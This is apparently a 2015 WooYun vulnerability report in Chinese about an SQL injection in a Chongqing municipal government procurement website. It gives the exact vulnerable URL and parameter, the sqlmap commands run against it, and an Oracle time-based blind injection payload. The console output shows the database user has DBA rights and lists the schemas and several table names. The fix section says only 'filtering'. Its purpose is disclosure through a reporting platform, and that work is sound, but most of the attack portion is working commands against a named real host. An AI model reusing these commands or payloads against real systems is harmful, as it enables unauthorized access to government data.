当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124617

漏洞标题:某市政府采购网主站SQL注入一枚

相关厂商:cncert国家互联网应急中心

漏洞作者: elevensec11

提交时间:2015-07-08 14:53

修复时间:2015-08-24 11:48

公开时间:2015-08-24 11:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-08: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

重庆市政府采购网存在SQL注入,导致招标信息可控及信息泄露

详细说明:

注入点:

http://www.cqgp.gov.cn/home/1/pages/picNewsContent.jsp?id=8


sqlmap跑的,涉及24个库,没详细跑,证明问题存在:
C:\Python27\sqlmap12>sqlmap.py -u "http://www.cqgp.gov.cn/home/1/pages/picNewsC
ntent.jsp?id=8" --dbs --current-db --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 01:43:04
[01:43:04] [INFO] resuming back-end DBMS 'oracle'
[01:43:05] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=8' AND 8216=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(104)||CHR(1
4)||CHR(85),5) AND 'rROU'='rROU
---
[01:43:05] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.4, JSP, JSP 2.0
back-end DBMS: Oracle
[01:43:05] [INFO] fetching current database
[01:43:05] [INFO] resumed: CHONGQING
[01:43:05] [WARNING] on Oracle you'll need to use schema names for enumeration
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'CHONGQING'
[01:43:05] [INFO] testing if current user is DBA
current user is DBA: True
[01:43:05] [WARNING] schema names are going to be used on Oracle for enumeratio
as the counterpart to database names on other DBMSes
[01:43:05] [INFO] fetching database (schema) names
[01:43:05] [INFO] fetching number of databases
[01:43:05] [INFO] resumed: 24
[01:43:05] [INFO] resumed: CHONGQING
[01:43:05] [INFO] resumed: CTXSYS
[01:43:05] [INFO] resumed: HR
[01:43:05] [INFO] resumed: MDSYS
[01:43:05] [INFO] resumed: ODM
[01:43:05] [INFO] resumed: ODM_MTR
[01:43:05] [INFO] resumed: OE
[01:43:05] [INFO] resumed: OLAPSYS
[01:43:05] [INFO] resumed: ORDSYS
[01:43:05] [INFO] resumed: OUTLN
[01:43:05] [INFO] resumed: PM
[01:43:05] [INFO] resumed: QS
[01:43:05] [INFO] resumed: QS_CBADM
[01:43:05] [INFO] resumed: QS_CS
[01:43:05] [INFO] resumed: QS_ES
[01:43:05] [INFO] resumed: QS_OS
[01:43:05] [INFO] resumed: QS_WS
[01:43:05] [INFO] resumed: SCOTT
[01:43:05] [INFO] resumed: SH
[01:43:05] [INFO] resumed: SYS
[01:43:05] [INFO] resumed: SYSTEM
[01:43:05] [INFO] resumed: WKSYS
[01:43:05] [INFO] resumed: WMSYS
[01:43:05] [INFO] resumed: XDB
available databases [24]:
[*] CHONGQING
[*] CTXSYS
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB
[01:43:05] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap12
output\www.cqgp.gov.cn'
[*] shutting down at 01:43:05
C:\Python27\sqlmap12>sqlmap.py -u "http://www.cqgp.gov.cn/home/1/pages/picNewsC
ntent.jsp?id=8" --tables -D CHONGQING
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 01:45:06
[01:45:06] [INFO] resuming back-end DBMS 'oracle'
[01:45:06] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: id
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: id=8' AND 8216=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(104)||CHR(1
4)||CHR(85),5) AND 'rROU'='rROU
---
[01:45:07] [INFO] the back-end DBMS is Oracle
web application technology: Servlet 2.4, JSP, JSP 2.0
back-end DBMS: Oracle
[01:45:07] [INFO] fetching tables for database: 'CHONGQING'
[01:45:07] [INFO] fetching number of tables for database 'CHONGQING'
[01:45:07] [WARNING] time-based comparison needs larger statistical model. Maki
g a few dummy requests, please wait..
[01:45:10] [WARNING] it is very important not to stress the network adapter's b
ndwidth during usage of time-based payloads
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
2
[01:46:57] [INFO] adjusting time delay to 1 second due to good response times
4
[01:47:04] [ERROR] invalid character detected. retrying..
[01:47:04] [WARNING] increasing time delay to 2 seconds
2
[01:47:10] [INFO] retrieved: FD_LOG
[01:48:07] [INFO] retrieved: PICTURE_NEWS
[01:49:53] [INFO] retrieved: PLAN_TA
[01:50:55] [ERROR] invalid character detected. retrying..
[01:50:55] [WARNING] increasing time delay to 3 seconds
BLE
[01:51:26] [INFO] retrieved: SS_M

漏洞证明:

如上。

修复方案:

过滤。

版权声明:转载请注明来源 elevensec11@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-10 11:47

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给重庆分中心,由其后续协调网站管理单位处置。

最新状态:

暂无